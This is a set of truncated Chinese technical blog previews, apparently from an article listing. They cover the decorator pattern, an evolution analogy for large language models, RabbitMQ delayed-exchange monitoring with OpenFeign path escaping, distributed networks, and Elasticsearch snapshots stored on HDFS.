目錄 前言一、場景二、原因分析三、解決四、更多 前言 曾經遇見這么一段代碼&#xff0c;能看出來是把request又重新包裝了一下&#xff0c;核心信息都不會改變 后面了解到這叫 裝飾器模式&#xff08;Decorator Pattern&#xff09; &#xff1a;也稱為包裝模式(Wrapper Pat…

大語言模型進化論:從達爾文到AI的啟示與展望

文章大綱 引言大語言模型中的“進化論”思想體現遺傳變異過度繁殖和生存斗爭大模型“過度繁殖”與“生存競爭”機制解析**一、過度繁殖:技術迭代的指數級爆發****二、生存競爭:計算資源的達爾文戰場****三、生存競爭勝出關鍵要素****四、行業競爭格局演化趨勢**核心結論自然選…

監聽 RabbitMQ 延時交換機的消息數、OpenFeign 路徑參數傳入斜杠無法正確轉義

背景 【MQ】一套為海量消息和高并發熱點消息&#xff0c;提供高可用精準延時服務的解決方案 我現在有一個需求&#xff0c;就是監聽 RabbitMQ 一個延時交換機的消息數&#xff0c;而 RabbitTemplate 是不存在對應的方法來獲取的。 而我們在 RabbitMQ 的控制臺卻可以發現延時交…

分布式網絡

分布式網絡&#xff08;Distributed Network&#xff09;指的是一種計算機網絡架構&#xff0c;其中計算資源&#xff08;計算、存儲、數據處理等&#xff09;分布在多個物理或邏輯上的節點上&#xff0c;而不是集中在單一的服務器或數據中心中。這種架構的主要目標是提高系統的…

【Elasticsearch】Elasticsearch 中使用 HDFS 存儲快照

在 Elasticsearch 中使用 HDFS 存儲快照的步驟如下&#xff1a; 1.安裝 HDFS 插件 要使用 HDFS 存儲 Elasticsearch 的索引快照&#xff0c;需要在 Elasticsearch 集群的所有節點上安裝 HDFS 插件。 ? 在線安裝&#xff1a;適用于網絡環境良好的場景&#xff0c;執行以下命…